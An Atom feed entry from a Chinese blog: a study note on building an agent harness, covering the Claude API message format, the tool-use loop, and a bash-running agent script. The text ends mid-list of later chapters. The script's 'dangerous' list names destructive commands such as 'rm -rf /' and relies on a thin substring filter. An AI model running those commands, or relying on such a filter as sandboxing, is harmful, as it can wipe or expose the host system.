<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>L的博客</title>
  
  <subtitle>一个渣渣的博客</subtitle>
  <link href="https://lisien11.xyz/atom.xml" rel="self"/>
  
  <link href="https://lisien11.xyz/"/>
  <updated>2026-03-18T13:40:24.715Z</updated>
  <id>https://lisien11.xyz/</id>
  
  <author>
    <name>L</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>agent开发构建 Harness从0-1的学习</title>
    <link href="https://lisien11.xyz/2026/03/17/agent%E5%BC%80%E5%8F%91%E4%BB%8E0-1/"/>
    <id>https://lisien11.xyz/2026/03/17/agent%E5%BC%80%E5%8F%91%E4%BB%8E0-1/</id>
    <published>2026-03-17T13:53:39.000Z</published>
    <updated>2026-03-18T13:40:24.715Z</updated>
    
    <content type="html"><![CDATA[<h1 id="本文学习于github项目learn-claude-code"><a href="#本文学习于github项目learn-claude-code" class="headerlink" title="本文学习于github项目learn-claude-code"></a>本文学习于github项目learn-claude-code</h1><h1 id="什么不是agent"><a href="#什么不是agent" class="headerlink" title="什么不是agent"></a>什么不是agent</h1><p>人们总是想当然的以为agent就是简单的提示词注入，然而实际不然。当通过过多的提示词来对AI进行限制时，AI便失去了其发散性，失去了泛化能力。</p><h1 id="什么是agent的开发"><a href="#什么是agent的开发" class="headerlink" title="什么是agent的开发"></a>什么是agent的开发</h1><p>现代意义的agent的开发往往有两个意思</p><ol><li>训练模型<br>通过强化学习、微调、RLHF 或其他基于梯度的方法调整权重。收集任务过程数据 — 真实领域中感知、推理、行动的实际序列 — 用它们来塑造模型的行为。这是 DeepMind、OpenAI、腾讯 AI Lab、Anthropic 在做的事。这是最本义的 Agent 开发。</li><li>构建 Harness<br>通过代码来编写一个可以提供给AI操控的环境架构。这个是本文需要学习的内容</li></ol><h1 id="Harness的结构"><a href="#Harness的结构" class="headerlink" title="Harness的结构"></a>Harness的结构</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Harness = Tools + Knowledge + Observation + Action Interfaces + Permissions</span><br><span class="line">Tools 工具，提供给AI调用的工具，如shell，文件读取功能，网络搜索，浏览器，数据库</span><br><span class="line">Knowlege 提供给Ai的知识库，上下API规范，产品文档，领域资料，风格等</span><br><span class="line">Observation 错误日志，git diff</span><br><span class="line">Action: 其实就是前端，如何于用户进行交互</span><br><span class="line">Permissions: 权限，限制沙箱</span><br></pre></td></tr></table></figure><h1 id="开始学习"><a href="#开始学习" class="headerlink" title="开始学习"></a>开始学习</h1><p>这个项目共有12个harness。每个harness都在前一个循环上加一个harness机制</p><h2 id="Claude-API-返回的整体结构"><a href="#Claude-API-返回的整体结构" class="headerlink" title="Claude API 返回的整体结构"></a>Claude API 返回的整体结构</h2><p>不同AI返回的json格式不太相同。学习之前先了解邮箱claude返回的json内容结构。这样更容易看懂</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;id&quot;</span><span class="punctuation">:</span> <span class="string">&quot;msg_xxx&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;message&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;role&quot;</span><span class="punctuation">:</span> <span class="string">&quot;assistant&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;content&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span>...<span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;model&quot;</span><span class="punctuation">:</span> <span class="string">&quot;...&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;stop_reason&quot;</span><span class="punctuation">:</span> <span class="string">&quot;end_turn / tool_use / max_tokens / ...&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;usage&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;input_tokens&quot;</span><span class="punctuation">:</span> <span class="number">123</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;output_tokens&quot;</span><span class="punctuation">:</span> <span class="number">456</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h3 id="重点字段content"><a href="#重点字段content" class="headerlink" title="重点字段content"></a>重点字段content</h3><p>这个字段是AI返回的内容一般有如下几种格式</p><h4 id="普通文本回复"><a href="#普通文本回复" class="headerlink" title="普通文本回复"></a>普通文本回复</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;content&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;text&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;text&quot;</span><span class="punctuation">:</span> <span class="string">&quot;当前目录有 file1 和 file2&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h4 id="调用工具"><a href="#调用工具" class="headerlink" title="调用工具"></a>调用工具</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;content&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;tool_use&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;id&quot;</span><span class="punctuation">:</span> <span class="string">&quot;toolu_123&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;bash&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;input&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ls&quot;</span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h4 id="混合"><a href="#混合" class="headerlink" title="混合"></a>混合</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;content&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;text&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;text&quot;</span><span class="punctuation">:</span> <span class="string">&quot;我先查看目录&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;tool_use&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;id&quot;</span><span class="punctuation">:</span> <span class="string">&quot;toolu_123&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;bash&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;input&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span><span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ls&quot;</span><span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h3 id="重点字段-stop-reason"><a href="#重点字段-stop-reason" class="headerlink" title="重点字段 stop_reason"></a>重点字段 stop_reason</h3><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">&quot;stop_reason&quot;</span><span class="punctuation">:</span> <span class="string">&quot;tool_use&quot;</span></span><br></pre></td></tr></table></figure><p>其一般有如下几个值<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">end_turn                    正常结束（回答完了）</span><br><span class="line">tool_use                    要调用工具</span><br><span class="line">max_tokens                  被截断</span><br><span class="line">stop_sequence               命中停止词</span><br></pre></td></tr></table></figure></p><h3 id="usage（token统计）"><a href="#usage（token统计）" class="headerlink" title="usage（token统计）"></a>usage（token统计）</h3><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">&quot;usage&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;input_tokens&quot;</span><span class="punctuation">:</span> <span class="number">120</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;output_tokens&quot;</span><span class="punctuation">:</span> <span class="number">300</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>表示输入输出的token量</p><h3 id="role"><a href="#role" class="headerlink" title="role"></a>role</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;role&quot;: &quot;assistant&quot;</span><br></pre></td></tr></table></figure><p>表示这个为模型输出</p><h2 id="核心循环"><a href="#核心循环" class="headerlink" title="核心循环"></a>核心循环</h2><p>最核心的循环代码<br><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">agent_loop</span>(<span class="params">messages</span>):</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        response = client.messages.create(</span><br><span class="line">            model=MODEL, system=SYSTEM,</span><br><span class="line">            messages=messages, tools=TOOLS,</span><br><span class="line">        )</span><br><span class="line">        messages.append(&#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;assistant&quot;</span>,</span><br><span class="line">                         <span class="string">&quot;content&quot;</span>: response.content&#125;)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> response.stop_reason != <span class="string">&quot;tool_use&quot;</span>:</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line">        results = []</span><br><span class="line">        <span class="keyword">for</span> block <span class="keyword">in</span> response.content:</span><br><span class="line">            <span class="keyword">if</span> block.<span class="built_in">type</span> == <span class="string">&quot;tool_use&quot;</span>:</span><br><span class="line">                output = TOOL_HANDLERS[block.name](**block.<span class="built_in">input</span>)</span><br><span class="line">                results.append(&#123;</span><br><span class="line">                    <span class="string">&quot;type&quot;</span>: <span class="string">&quot;tool_result&quot;</span>,</span><br><span class="line">                    <span class="string">&quot;tool_use_id&quot;</span>: block.<span class="built_in">id</span>,</span><br><span class="line">                    <span class="string">&quot;content&quot;</span>: output,</span><br><span class="line">                &#125;)</span><br><span class="line">        messages.append(&#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;user&quot;</span>, <span class="string">&quot;content&quot;</span>: results&#125;)</span><br></pre></td></tr></table></figure></p><p>从代码可以看出来其就是不断的循环与AI进行对话，将AI返回的结果当做assistant的信息写如message，如果返回内容有调用工具就调用后将结果再次传入messages，其传入的role为user这主要是因为只有权限为user时大模型才会进行解析并回复。所有要将工具的执行结构给AI解析从而判断下一步是结束还是继续调用工具。不断循环直到stop_reason!=”tools_use”即不AI不需要使用工具时跳出循环。</p><h2 id="s01-“One-loop-amp-Bash-is-all-you-need”-—-一个工具-一个循环-一个智能体"><a href="#s01-“One-loop-amp-Bash-is-all-you-need”-—-一个工具-一个循环-一个智能体" class="headerlink" title="s01   “One loop &amp; Bash is all you need” — 一个工具 + 一个循环 = 一个智能体"></a>s01   “One loop &amp; Bash is all you need” — 一个工具 + 一个循环 = 一个智能体</h2><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">s01_agent_loop.py - The Agent Loop</span></span><br><span class="line"><span class="string">The entire secret of an AI coding agent in one pattern:</span></span><br><span class="line"><span class="string">    while stop_reason == &quot;tool_use&quot;:</span></span><br><span class="line"><span class="string">        response = LLM(messages, tools)</span></span><br><span class="line"><span class="string">        execute tools</span></span><br><span class="line"><span class="string">        append results</span></span><br><span class="line"><span class="string">    +----------+      +-------+      +---------+</span></span><br><span class="line"><span class="string">    |   User   | ---&gt; |  LLM  | ---&gt; |  Tool   |</span></span><br><span class="line"><span class="string">    |  prompt  |      |       |      | execute |</span></span><br><span class="line"><span class="string">    +----------+      +---+---+      +----+----+</span></span><br><span class="line"><span class="string">                          ^               |</span></span><br><span class="line"><span class="string">                          |   tool_result |</span></span><br><span class="line"><span class="string">                          +---------------+</span></span><br><span class="line"><span class="string">                          (loop continues)</span></span><br><span class="line"><span class="string">This is the core loop: feed tool results back to the model</span></span><br><span class="line"><span class="string">until the model decides to stop. Production agents layer</span></span><br><span class="line"><span class="string">policy, hooks, and lifecycle controls on top.</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> subprocess</span><br><span class="line"><span class="keyword">from</span> anthropic <span class="keyword">import</span> Anthropic</span><br><span class="line"><span class="keyword">from</span> dotenv <span class="keyword">import</span> load_dotenv</span><br><span class="line">load_dotenv(override=<span class="literal">True</span>)</span><br><span class="line"><span class="keyword">if</span> os.getenv(<span class="string">&quot;ANTHROPIC_BASE_URL&quot;</span>):</span><br><span class="line">    os.environ.pop(<span class="string">&quot;ANTHROPIC_AUTH_TOKEN&quot;</span>, <span class="literal">None</span>)</span><br><span class="line">client = Anthropic(base_url=os.getenv(<span class="string">&quot;ANTHROPIC_BASE_URL&quot;</span>))</span><br><span class="line">MODEL = os.environ[<span class="string">&quot;MODEL_ID&quot;</span>]</span><br><span class="line">SYSTEM = <span class="string">f&quot;You are a coding agent at <span class="subst">&#123;os.getcwd()&#125;</span>. Use bash to solve tasks. Act, don&#x27;t explain.&quot;</span></span><br><span class="line">TOOLS = [&#123;</span><br><span class="line">    <span class="string">&quot;name&quot;</span>: <span class="string">&quot;bash&quot;</span>,</span><br><span class="line">    <span class="string">&quot;description&quot;</span>: <span class="string">&quot;Run a shell command.&quot;</span>,</span><br><span class="line">    <span class="string">&quot;input_schema&quot;</span>: &#123;</span><br><span class="line">        <span class="string">&quot;type&quot;</span>: <span class="string">&quot;object&quot;</span>,</span><br><span class="line">        <span class="string">&quot;properties&quot;</span>: &#123;<span class="string">&quot;command&quot;</span>: &#123;<span class="string">&quot;type&quot;</span>: <span class="string">&quot;string&quot;</span>&#125;&#125;,</span><br><span class="line">        <span class="string">&quot;required&quot;</span>: [<span class="string">&quot;command&quot;</span>],</span><br><span class="line">    &#125;,</span><br><span class="line">&#125;]</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">run_bash</span>(<span class="params">command: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">    dangerous = [<span class="string">&quot;rm -rf /&quot;</span>, <span class="string">&quot;sudo&quot;</span>, <span class="string">&quot;shutdown&quot;</span>, <span class="string">&quot;reboot&quot;</span>, <span class="string">&quot;&gt; /dev/&quot;</span>]</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">any</span>(d <span class="keyword">in</span> command <span class="keyword">for</span> d <span class="keyword">in</span> dangerous):</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;Error: Dangerous command blocked&quot;</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        r = subprocess.run(command, shell=<span class="literal">True</span>, cwd=os.getcwd(),</span><br><span class="line">                           capture_output=<span class="literal">True</span>, text=<span class="literal">True</span>, timeout=<span class="number">120</span>)</span><br><span class="line">        out = (r.stdout + r.stderr).strip()</span><br><span class="line">        <span class="keyword">return</span> out[:<span class="number">50000</span>] <span class="keyword">if</span> out <span class="keyword">else</span> <span class="string">&quot;(no output)&quot;</span></span><br><span class="line">    <span class="keyword">except</span> subprocess.TimeoutExpired:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;Error: Timeout (120s)&quot;</span></span><br><span class="line"><span class="comment"># -- The core pattern: a while loop that calls tools until the model stops --</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">agent_loop</span>(<span class="params">messages: <span class="built_in">list</span></span>):</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        response = client.messages.create(</span><br><span class="line">            model=MODEL, system=SYSTEM, messages=messages,</span><br><span class="line">            tools=TOOLS, max_tokens=<span class="number">8000</span>,</span><br><span class="line">        )</span><br><span class="line">        <span class="comment"># Append assistant turn</span></span><br><span class="line">        messages.append(&#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;assistant&quot;</span>, <span class="string">&quot;content&quot;</span>: response.content&#125;)</span><br><span class="line">        <span class="comment"># If the model didn&#x27;t call a tool, we&#x27;re done</span></span><br><span class="line">        <span class="keyword">if</span> response.stop_reason != <span class="string">&quot;tool_use&quot;</span>:</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        <span class="comment"># Execute each tool call, collect results</span></span><br><span class="line">        results = []</span><br><span class="line">        <span class="keyword">for</span> block <span class="keyword">in</span> response.content:</span><br><span class="line">            <span class="keyword">if</span> block.<span class="built_in">type</span> == <span class="string">&quot;tool_use&quot;</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;\033[33m$ <span class="subst">&#123;block.<span class="built_in">input</span>[<span class="string">&#x27;command&#x27;</span>]&#125;</span>\033[0m&quot;</span>)</span><br><span class="line">                output = run_bash(block.<span class="built_in">input</span>[<span class="string">&quot;command&quot;</span>])</span><br><span class="line">                <span class="built_in">print</span>(output[:<span class="number">200</span>])</span><br><span class="line">                results.append(&#123;<span class="string">&quot;type&quot;</span>: <span class="string">&quot;tool_result&quot;</span>, <span class="string">&quot;tool_use_id&quot;</span>: block.<span class="built_in">id</span>,</span><br><span class="line">                                <span class="string">&quot;content&quot;</span>: output&#125;)</span><br><span class="line">        messages.append(&#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;user&quot;</span>, <span class="string">&quot;content&quot;</span>: results&#125;)</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    history = []</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            query = <span class="built_in">input</span>(<span class="string">&quot;\033[36ms01 &gt;&gt; \033[0m&quot;</span>)</span><br><span class="line">        <span class="keyword">except</span> (EOFError, KeyboardInterrupt):</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">if</span> query.strip().lower() <span class="keyword">in</span> (<span class="string">&quot;q&quot;</span>, <span class="string">&quot;exit&quot;</span>, <span class="string">&quot;&quot;</span>):</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        history.append(&#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;user&quot;</span>, <span class="string">&quot;content&quot;</span>: query&#125;)</span><br><span class="line">        agent_loop(history)</span><br><span class="line">        response_content = history[-<span class="number">1</span>][<span class="string">&quot;content&quot;</span>]</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">isinstance</span>(response_content, <span class="built_in">list</span>):</span><br><span class="line">            <span class="keyword">for</span> block <span class="keyword">in</span> response_content:</span><br><span class="line">                <span class="keyword">if</span> <span class="built_in">hasattr</span>(block, <span class="string">&quot;text&quot;</span>):</span><br><span class="line">                    <span class="built_in">print</span>(block.text)</span><br><span class="line">        <span class="built_in">print</span>()</span><br></pre></td></tr></table></figure><p>来一个个解释S01_agent_loop的源码吧</p><p>client.messages.create其实就是于AI进行对话。</p><h3 id="client-messages-create参数解释"><a href="#client-messages-create参数解释" class="headerlink" title="client.messages.create参数解释"></a>client.messages.create参数解释</h3><h4 id="model"><a href="#model" class="headerlink" title="model"></a>model</h4><p>其中参数model模型参数</p><h4 id="system"><a href="#system" class="headerlink" title="system"></a>system</h4><p>system参数就是提示词</p><h4 id="messages"><a href="#messages" class="headerlink" title="messages"></a>messages</h4><p>messages=messages其中meassage其实就是对话记录</p><p>其中role分别有user,assistant,system这三种权限。user就是输入给模型的信息模型会对这个做出应答。assistant表示模型的输出。而system就是输入的提示词，这里其实就是代码中的SYSTEM=xxxx</p><h4 id="tools-TOOLS"><a href="#tools-TOOLS" class="headerlink" title="tools=TOOLS"></a>tools=TOOLS</h4><p>本质就是给模型定义<code>工具规范（Tool Schema）</code>其实就是工具描述<br><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">TOOLS = [&#123;</span><br><span class="line">    <span class="string">&quot;name&quot;</span>: <span class="string">&quot;bash&quot;</span>,</span><br><span class="line">    <span class="string">&quot;description&quot;</span>: <span class="string">&quot;Run a shell command.&quot;</span>,</span><br><span class="line">    <span class="string">&quot;input_schema&quot;</span>: &#123;</span><br><span class="line">        <span class="string">&quot;type&quot;</span>: <span class="string">&quot;object&quot;</span>,</span><br><span class="line">        <span class="string">&quot;properties&quot;</span>: &#123;<span class="string">&quot;command&quot;</span>: &#123;<span class="string">&quot;type&quot;</span>: <span class="string">&quot;string&quot;</span>&#125;&#125;,</span><br><span class="line">        <span class="string">&quot;required&quot;</span>: [<span class="string">&quot;command&quot;</span>],</span><br><span class="line">    &#125;,</span><br><span class="line">&#125;]</span><br></pre></td></tr></table></figure><br>description其实就是工具的提示词主要让AI知道这个是什么工具<br>name 就是工具名称<br>input_schema就是工具参数输入的格式。<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&quot;type&quot;: &quot;object&quot;                                    工具输入类型必须是一个对象</span><br><span class="line">&quot;properties&quot;: &#123;&quot;command&quot;: &#123;&quot;type&quot;: &quot;string&quot;&#125;&#125;       工具所需要的参数名称和类型</span><br><span class="line">&quot;required&quot;: [&quot;command&quot;]                             必须要有的参数</span><br><span class="line"></span><br></pre></td></tr></table></figure></p><h2 id="流程总结"><a href="#流程总结" class="headerlink" title="流程总结"></a>流程总结</h2><p>上面描述的只要能看懂那么我们就能很轻松的了解这第一个agent的代码了。<br>其流程其实就是一个工具一个循环，流程图如下<br><img src="/2026/03/17/agent%E5%BC%80%E5%8F%91%E4%BB%8E0-1/IMG_20260318-214022443.png" class="">  </p><h2 id="s02-“加一个工具-只加一个-handler”-—-循环不用动-新工具注册进-dispatch-map-就行"><a href="#s02-“加一个工具-只加一个-handler”-—-循环不用动-新工具注册进-dispatch-map-就行" class="headerlink" title="s02   “加一个工具, 只加一个 handler” — 循环不用动, 新工具注册进 dispatch map 就行"></a>s02   “加一个工具, 只加一个 handler” — 循环不用动, 新工具注册进 dispatch map 就行</h2><h2 id="s03-“没有计划的-agent-走哪算哪”-—-先列步骤再动手-完成率翻倍"><a href="#s03-“没有计划的-agent-走哪算哪”-—-先列步骤再动手-完成率翻倍" class="headerlink" title="s03   “没有计划的 agent 走哪算哪” — 先列步骤再动手, 完成率翻倍"></a>s03   “没有计划的 agent 走哪算哪” — 先列步骤再动手, 完成率翻倍</h2><h2 id="s04-“大任务拆小-每个小任务干净的上下文”-—-子智能体用独立-messages-不污染主对话"><a href="#s04-“大任务拆小-每个小任务干净的上下文”-—-子智能体用独立-messages-不污染主对话" class="headerlink" title="s04   “大任务拆小, 每个小任务干净的上下文” — 子智能体用独立 messages[], 不污染主对话"></a>s04   “大任务拆小, 每个小任务干净的上下文” — 子智能体用独立 messages[], 不污染主对话</h2><h2 id="s05-“用到什么知识-临时加载什么知识”-—-通过-tool-result-注入-不塞-system-prompt"><a href="#s05-“用到什么知识-临时加载什么知识”-—-通过-tool-result-注入-不塞-system-prompt" class="headerlink" title="s05   “用到什么知识, 临时加载什么知识” — 通过 tool_result 注入, 不塞 system prompt"></a>s05   “用到什么知识, 临时加载什么知识” — 通过 tool_result 注入, 不塞 system prompt</h2><h2 id="s06-“上下文总会满-要有办法腾地方”-—-三层压缩策略-换来无限会话"><a href="#s06-“上下文总会满-要有办法腾地方”-—-三层压缩策略-换来无限会话" class="headerlink" title="s06   “上下文总会满, 要有办法腾地方” — 三层压缩策略, 换来无限会话"></a>s06   “上下文总会满, 要有办法腾地方” — 三层压缩策略, 换来无限会话</h2><h2 id="s07-“大目标要拆成小任务-排好序-记在磁盘上”-—-文件持久化的任务图-为多-agent-协作打基础"><a href="#s07-“大目标要拆成小任务-排好序-记在磁盘上”-—-文件持久化的任务图-为多-agent-协作打基础" class="headerlink" title="s07   “大目标要拆成小任务, 排好序, 记在磁盘上” — 文件持久化的任务图, 为多 agent 协作打基础"></a>s07   “大目标要拆成小任务, 排好序, 记在磁盘上” — 文件持久化的任务图, 为多 agent 协作打基础</h2><h2 id="s08-“慢操作丢后台-agent-继续想下一步”-—-后台线程跑命令-完成后注入通知"><a href="#s08-“慢操作丢后台-agent-继续想下一步”-—-后台线程跑命令-完成后注入通知" class="headerlink" title="s08   “慢操作丢后台, agent 继续想下一步” — 后台线程跑命令, 